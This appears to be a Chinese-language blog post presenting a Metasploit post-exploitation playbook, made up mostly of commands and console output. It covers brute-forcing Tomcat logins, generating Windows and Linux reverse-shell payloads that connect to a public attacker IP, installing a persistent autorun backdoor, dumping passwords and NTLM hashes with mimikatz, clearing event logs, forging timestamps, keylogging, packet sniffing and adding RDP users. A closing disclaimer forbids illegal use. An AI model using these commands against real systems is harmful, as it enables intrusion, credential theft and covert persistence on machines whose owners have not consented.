正文

Metasploit渗透使用攻略

IP云
IP云V管理员/7 阅读
11/25
提示：扫一扫查出行
【扫一扫了解最新限行尾号】
复制提示

msf关于tomcat口令暴力猜解模块 
use auxiliary/scanner/http/tomcat_mgr_login

show options

set rhosts 192.168.2.147

set RPORT 8080

run

  • 注意：tomcat默认每个账号登陆5次失败后，账户就会被锁定

msf建立windows反弹shell

1.生成windows反弹shell 

msfconsle

msfvenom -p windows/meterpreter/reverse_tcp LHOST=2x.94.50.153 LPORT=4433 -f exe -o 4433.exe

//LHOST为公网IP

//LPORT为反弹端口

//4433.exe为生成文件

2.获取监听IP与端口 

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set LHOST 2xx.94.50.153

msf5 exploit(multi/handler) > set LPORT 4433

msf5 exploit(multi/handler) > run

3.反弹成功 

meterpreter > sysinfo

Computer        : WIN-UKKED2CCSHJ

OS              : Windows 2012 R2 (6.3 Build 9600).

Architecture    : x64

System Language : zh_CN

Domain          : WORKGROUP

Logged On Users : 3

Meterpreter     : x86/windows

meterpreter > getuid

Server username: IIS APPPOOL\padt002

msf建立linux反弹shell 
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=2x.94.50.153 LPORT=4433 -f elf > payload.elf

//LHOST为公网IP

//LPORT为反弹端口

//4433.exe为生成文件

msf建立persistence持久化

Meterpreter的persistence脚本允许注入Meterpreter代理，以确保系统重启之后Meterpreter还能运行。

如果是反弹连接方式，可以设置连接攻击机的时间间隔。如果是绑定方式，可以设置在指定时间绑定开放端口。

我们运行persistence脚本让系统开机自启动，启动命令为 

meterpreter > run persistence -h

Meterpreter Script for creating a persistent backdoor on a target host.

OPTIONS:

    -A        Automatically start a matching exploit/multi/handler to connect to the agent

    -L <opt>  Location in target host to write payload to, if none %TEMP% will be used.

    -P <opt>  Payload to use, default is windows/meterpreter/reverse_tcp.

    -S        Automatically start the agent on boot as a service (with SYSTEM privileges)

    -T <opt>  Alternate executable template to use

    -U        Automatically start the agent when the User logs on

    -X        Automatically start the agent when the system boots

    -h        This help menu

    -i <opt>  The interval in seconds between each connection attempt

    -p <opt>  The port on which the system running Metasploit is listening

    -r <opt>  The IP of the system running Metasploit listening for the connect back

meterpreter > run persistence -X -i 10 -p 6666 -r 192.168.71.105

//Meterpreter(-X)，10秒(-i 10) 重连一次，使用端口为6666(-p 6666)，连接的目的IP为 192.168.71.105

[*] Running Persistance Script

[*] Resource file for cleanup created at /root/.msf4/logs/persistence/WUST-3E75F1D708_20160106.3022/WUST-3E75F1D708_20160106.3022.rc

[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.71.105 LPORT=6666

[*] Persistent agent script is 148426 bytes long

[+] Persistent Script written to C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SIjvSmRq.vbs

[*] Starting connection handler at port 6666 for windows/meterpreter/reverse_tcp

[+] exploit/multi/handler started!

[*] Executing script C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SIjvSmRq.vbs

[+] Agent executed with PID 1308

[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DNXmKhNlKXyA

[+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DNXmKhNlKXyA

meterpreter >

[*] Sending stage (885806 bytes) to 192.168.71.112

[*] Meterpreter session 2 opened (192.168.71.105:6666 -> 192.168.71.112:1086) at 2016-01-06 20:30:26 +0800

meterpreter > exit

[*] Shutting down Meterpreter...

[*] 192.168.71.112 - Meterpreter session 1 closed.  Reason: User exit

msf exploit(handler) > sessions -i

Active sessions

===============

  Id  Type                   Information                                      Connection

  --  ----                   -----------                                      ----------

  2   meterpreter x86/win32  WUST-3E75F1D708\Administrator @ WUST-3E75F1D708  192.168.71.105:6666 -> 192.168.71.112:1086 (192.168.71.112)

msf exploit(handler) > sessions -i 2

[*] Starting interaction with 2...

meterpreter >

自动化的脚本在C:\Documents and Settings\Administrator\Local Settings\Temp\下

自动化以后下次可以直接在msf下打开会话：

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.71.105

lhost => 192.168.71.105

msf exploit(handler) > set lport 6666

lport => 6666

msf exploit(handler) > run

[*] Sending stage (885806 bytes) to 192.168.71.112

[*] Meterpreter session 3 opened (192.168.71.105:6666 -> 192.168.71.112:1098) at 2016-01-06 21:05:58 +0800

mimikatz抓取密码

mimikatz-获取密码1 
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > load mimikatz

Loading extension mimikatz...Success.

meterpreter > msv

[+] Running as SYSTEM

[*] Retrieving msv credentials

msv credentials

===============

AuthID    Package    Domain        User           Password

------    -------    ------        ----           --------

0;334101  NTLM       chenglee-PC   chenglee       lm{ 9cffd5e7eefa14babacbf0b4adf55fde }, ntlm{ 8d0f8e1a18236379538411a9056799f5 }

0;334068  NTLM       chenglee-PC   chenglee       lm{ 9cffd5e7eefa14babacbf0b4adf55fde }, ntlm{ 8d0f8e1a18236379538411a9056799f5 }

0;997     Negotiate  NT AUTHORITY  LOCAL SERVICE  n.s. (Credentials KO)

0;996     Negotiate  WORKGROUP     CHENGLEE-PC$   n.s. (Credentials KO)

0;49101   NTLM                                    n.s. (Credentials KO)

0;999     NTLM       WORKGROUP     CHENGLEE-PC$   n.s. (Credentials KO)

meterpreter > kerberos

[+] Running as SYSTEM

[*] Retrieving kerberos credentials

kerberos credentials

====================

AuthID    Package    Domain        User           Password

------    -------    ------        ----           --------

0;997     Negotiate  NT AUTHORITY  LOCAL SERVICE 

0;996     Negotiate  WORKGROUP     CHENGLEE-PC$  

0;49101   NTLM                                   

0;999     NTLM       WORKGROUP     CHENGLEE-PC$  

0;334101  NTLM       chenglee-PC   chenglee       lizhenghua

0;334068  NTLM       chenglee-PC   chenglee       lizhenghua

mimikatz-获取密码2 
meterpreter > mimikatz_command -f samdump::hashes

Ordinateur : chenglee-PC

BootKey    : 0648ced51b6060bed1a3654e0ee0fd93

Rid  : 500

User : Administrator

LM   :

NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0

Rid  : 501

User : Guest

LM   :

NTLM :

Rid  : 1000

User : chenglee

LM   :

NTLM : 8d0f8e1a18236379538411a9056799f5

meterpreter > mimikatz_command -f sekurlsa::searchPasswords

[0] { chenglee ; chenglee-PC ; lizhenghua }

[1] { chenglee ; chenglee-PC ; lizhenghua }

[2] { chenglee ; chenglee-PC ; lizhenghua }

[3] { chenglee ; chenglee-PC ; lizhenghua }

[4] { chenglee-PC ; chenglee ; lizhenghua }

[5] { chenglee-PC ; chenglee ; lizhenghua }

meterpreter >

meterpreter > mimikatz_command -f sekurlsa::searchPasswords

[0] { Administrator ; CLOUDVM ; 1244567 }

[1] { Administrator ; CLOUDVM ; 1244567 }

mimikatz-wdigest 
meterpreter > wdigest

[+] Running as SYSTEM

[*] Retrieving wdigest credentials

wdigest credentials

===================

AuthID    Package    Domain        User           Password

------    -------    ------        ----           --------

0;997     Negotiate  NT AUTHORITY  LOCAL SERVICE 

0;996     Negotiate  WORKGROUP     CHENGLEE-PC$  

0;49101   NTLM                                   

0;999     NTLM       WORKGROUP     CHENGLEE-PC$  

0;334101  NTLM       chenglee-PC   chenglee       lizhenghua

0;334068  NTLM       chenglee-PC   chenglee       lizhenghua

mimikatz-tspkg 
meterpreter > tspkg

[+] Running as SYSTEM

[*] Retrieving tspkg credentials

tspkg credentials

=================

AuthID    Package    Domain        User           Password

------    -------    ------        ----           --------

0;997     Negotiate  NT AUTHORITY  LOCAL SERVICE 

0;996     Negotiate  WORKGROUP     CHENGLEE-PC$  

0;49101   NTLM                                   

0;999     NTLM       WORKGROUP     CHENGLEE-PC$  

0;334101  NTLM       chenglee-PC   chenglee       lizhenghua

0;334068  NTLM       chenglee-PC   chenglee       lizhenghua

meterpreter基本命令

系统命令-基本系统命令 
sessions

//sessions –h 查看帮助

sessions -l

//列出当前会话

sessions -i <ID值>

//进入会话

sessions -k

//杀死会话

background

//将当前会话放置后台

run

//执行已有的模块，输入run后按两下tab，列出已有的脚本

info

//查看已有模块信息

getuid

//查看权限

getpid

//获取当前进程的pid

sysinfo

//查看目标机系统信息

ps

//查看当前活跃进程

kill <PID值>

//杀死进程

idletime

//查看目标机闲置时间

reboot

shutdown

//重启/关机

shell

//进入目标机cmd shell

系统命令-execute执行文件 
execute

//在目标机中执行文件

execute -H -i -f cmd.exe

//创建新进程cmd.exe，-H不可见，-i交互

系统命令-clearev清除日志 
clearev  #清除windows中的应用程序日志、系统日志、安全日志

文件系统命令-基本文件系统命令 
getwd

pwd

//查看当前工作目录

ls

//列出当前目录

cd

//跳转目录

search -f *pass*

//搜索文件  -h查看帮助

cat c:\\lltest\\lltestpasswd.txt

//查看文件内容

upload /tmp/hack.txt C:\\lltest

//上传文件到目标机上

download c:\\lltest\\lltestpasswd.txt /tmp/

//下载文件到本机上

edit c:\\1.txt

//编辑或创建文件，没有的话，会新建文件

rm C:\\lltest\\hack.txt

//删除文件

mkdir lltest2

//只能在当前目录下创建文件夹

rmdir lltest2

//只能删除当前目录下文件夹

getlwd

lpwd

//操作攻击者主机 查看当前目录

lcd /tmp

//操作攻击者主机 切换目录

文件系统命令-timestomp伪造时间戳 
timestomp C:// -h

//查看帮助

timestomp -v C://2.txt

//查看时间戳

timestomp C://2.txt -f C://1.txt

//将1.txt的时间戳复制给2.txt

网络命令-基本网络命令 
ipconfig/ifconfig

netstat –ano

arp

getproxy

//查看代理信息

route

//查看路由

网络命令-portfwd端口转发 
portfwd add -l 6666 -p 3389 -r 127.0.0.1

//将目标机的3389端口转发到本地6666端口

网络命令-端口扫描 
run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24

run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389

提权 
getsystem

getsystem工作原理：

①getsystem创建一个新的Windows服务，设置为SYSTEM运行，当它启动时连接到一个命名管道。

②getsystem产生一个进程，它创建一个命名管道并等待来自该服务的连接。

③Windows服务已启动，导致与命名管道建立连接。

④该进程接收连接并调用ImpersonateNamedPipeClient，从而为SYSTEM用户创建模拟令牌。

然后用新收集的SYSTEM模拟令牌产生cmd.exe，并且我们有一个SYSTEM特权进程。

远程桌面&截屏 
enumdesktops

//查看可用的桌面

getdesktop

//获取当前meterpreter 关联的桌面

set_desktop

//设置meterpreter关联的桌面  -h查看帮助

screenshot

//截屏

use espia

//或者使用espia模块截屏  然后输入screengrab

run vnc

//使用vnc远程桌面连接

远程桌面-getgui命令 
run getgui –h

//查看帮助

run getgui -e

//开启远程桌面

run getgui -u lltest2 -p 123456

//添加用户

run getgui -f 6661 –e

//389端口转发到6661

getgui 系统不推荐，推荐使用run post/windows/manage/enable_rdp

getgui添加用户时，有时虽然可以成功添加用户，但是没有权限通过远程桌面登陆

远程桌面-enable_rdp脚本 
run post/windows/manage/enable_rdp

//开启远程桌面

run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456

//添加用户

run post/windows/manage/enable_rdp FORWARD=true LPORT=6662

//将3389端口转发到6662

脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb

通过enable_rdp.rb脚本可知：开启rdp是通过reg修改注册表；添加用户是调用cmd.exe 通过net user添加；端口转发是利用的portfwd命令

键盘记录 
keyscan_start

//开始键盘记录

keyscan_dump

//导出记录数据

keyscan_stop

//结束键盘记录

sniffer抓包 
use sniffer

sniffer_interfaces

//查看网卡

sniffer_start 2

//选择网卡 开始抓包

sniffer_stats 2

//查看状态

sniffer_dump 2 /tmp/lltest.pcap

//导出pcap数据包

sniffer_stop 2

//停止抓包

哈希利用-获取哈希 
run post/windows/gather/smart_hashdump

//从SAM导出密码哈希,需要SYSTEM权限

参考链接

csdn-利用Metasploit获取linux反弹shell的尝试

csdn-MSF生成windows木马

后渗透之meterpreter使用攻略

kali meterpreter中mimikatz模块获取密码

声明

严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合!

相关阅读

目录[+]